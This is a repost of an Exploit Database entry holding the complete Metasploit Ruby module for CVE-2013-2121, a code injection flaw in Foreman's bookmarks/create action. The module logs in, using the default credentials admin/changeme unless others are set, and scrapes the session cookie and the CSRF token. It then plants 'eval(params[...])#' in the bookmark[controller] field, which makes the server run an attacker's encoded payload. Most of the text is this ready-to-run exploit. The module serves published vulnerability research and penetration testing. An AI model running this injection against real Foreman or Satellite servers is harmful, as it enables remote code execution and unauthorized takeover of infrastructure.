Foreman (RedHat OpenStack/Satellite) – bookmarks/create Code Injection (Metasploit)

• Exploit Database
• 11 阅读

• 作者： Metasploit
  日期： 2013-07-23
• 类别：

  • remote
  平台：

  • linux
• 来源：https://www.exploit-db.com/exploits/27045/

• ##
  # This file is part of the Metasploit Framework and may be subject to
  # redistribution and commercial restrictions. Please see the Metasploit
  # web site for more information on licensing and terms of use.
  # http://metasploit.com/
  ##
  
  require 'msf/core'
  
  class Metasploit4 < Msf::Exploit::Remote
  
  include Msf::Exploit::Remote::HttpClient
  
  def initialize
  super(
  'Name' => 'Foreman (Red Hat OpenStack/Satellite) bookmarks/create Code Injection',
  'Description'=> %q{
  This module exploits a code injection vulnerability in the 'create'
  action of 'bookmarks' controller of Foreman and Red Hat OpenStack/Satellite
  (Foreman 1.2.0-RC1 and earlier).
  },
  'Author' => 'Ramon de C Valle',
  'License'=> MSF_LICENSE,
  'References' =>
  [
  ['CVE', '2013-2121'],
  ['CWE', '95'],
  ['OSVDB', '94671'],
  ['BID', '60833'],
  ['URL', 'https://bugzilla.redhat.com/show_bug.cgi?id=968166'],
  ['URL', 'http://projects.theforeman.org/issues/2631']
  ],
  'Platform' => 'ruby',
  'Arch' => ARCH_RUBY,
  'Privileged' => false,
  'Targets'=>
  [
  ['Automatic', {}]
  ],
  'DisclosureDate' => 'Jun 6 2013',
  'DefaultOptions' => { 'PrependFork' => true },
  'DefaultTarget' => 0
  )
  
  register_options(
  [
  Opt::RPORT(443),
  OptBool.new('SSL', [true, 'Use SSL', true]),
  OptString.new('USERNAME', [true, 'Your username', 'admin']),
  OptString.new('PASSWORD', [true, 'Your password', 'changeme']),
  OptString.new('TARGETURI', [ true, 'The path to the application', '/']),
  ], self.class
  )
  end
  
  def exploit
  print_status("Logging into #{target_url}...")
  res = send_request_cgi(
  'method'=> 'POST',
  'uri' => normalize_uri(target_uri.path, 'users', 'login'),
  'vars_post' => {
  'login[login]'=> datastore['USERNAME'],
  'login[password]' => datastore['PASSWORD']
  }
  )
  
  fail_with(Exploit::Failure::Unknown, 'No response from remote host') if res.nil?
  
  if res.headers['Location'] =~ /users\/login$/
  fail_with(Exploit::Failure::NoAccess, 'Authentication failed')
  else
  session = $1 if res.headers['Set-Cookie'] =~ /_session_id=([0-9a-f]*)/
  fail_with(Exploit::Failure::UnexpectedReply, 'Failed to retrieve the current session id') if session.nil?
  end
  
  print_status('Retrieving the CSRF token for this session...')
  res = send_request_cgi(
  'cookie' => "_session_id=#{session}",
  'method' => 'GET',
  'uri'=> normalize_uri(target_uri)
  )
  
  fail_with(Exploit::Failure::Unknown, 'No response from remote host') if res.nil?
  
  if res.headers['Location'] =~ /users\/login$/
  fail_with(Exploit::Failure::UnexpectedReply, 'Failed to retrieve the CSRF token')
  else
  csrf_param = $1 if res.body =~ /<meta[ ]+content="(.*)"[ ]+name="csrf-param"[ ]*\/?>/i
  csrf_token = $1 if res.body =~ /<meta[ ]+content="(.*)"[ ]+name="csrf-token"[ ]*\/?>/i
  
  if csrf_param.nil? || csrf_token.nil?
  csrf_param = $1 if res.body =~ /<meta[ ]+name="csrf-param"[ ]+content="(.*)"[ ]*\/?>/i
  csrf_token = $1 if res.body =~ /<meta[ ]+name="csrf-token"[ ]+content="(.*)"[ ]*\/?>/i
  end
  
  fail_with(Exploit::Failure::UnexpectedReply, 'Failed to retrieve the CSRF token') if csrf_param.nil? || csrf_token.nil?
  end
  
  payload_param = Rex::Text.rand_text_alpha_lower(rand(9) + 3)
  
  print_status("Sending create-bookmark request to #{target_url('bookmarks')}...")
  res = send_request_cgi(
  'cookie'=> "_session_id=#{session}",
  'method'=> 'POST',
  'uri' => normalize_uri(target_uri.path, 'bookmarks'),
  'vars_post' => {
  csrf_param => csrf_token,
  payload_param=> payload.encoded,
  'bookmark[controller]' => "eval(params[:#{payload_param}])#",
  'bookmark[name]' => Rex::Text.rand_text_alpha_lower(rand(9) + 3),
  'bookmark[query]'=> Rex::Text.rand_text_alpha_lower(rand(9) + 3)
  }
  )
  end
  
  def target_url(*args)
  (ssl ? 'https' : 'http') +
  if rport.to_i == 80 || rport.to_i == 443
  "://#{vhost}"
  else
  "://#{vhost}:#{rport}"
  end + normalize_uri(target_uri.path, *args)
  end
  end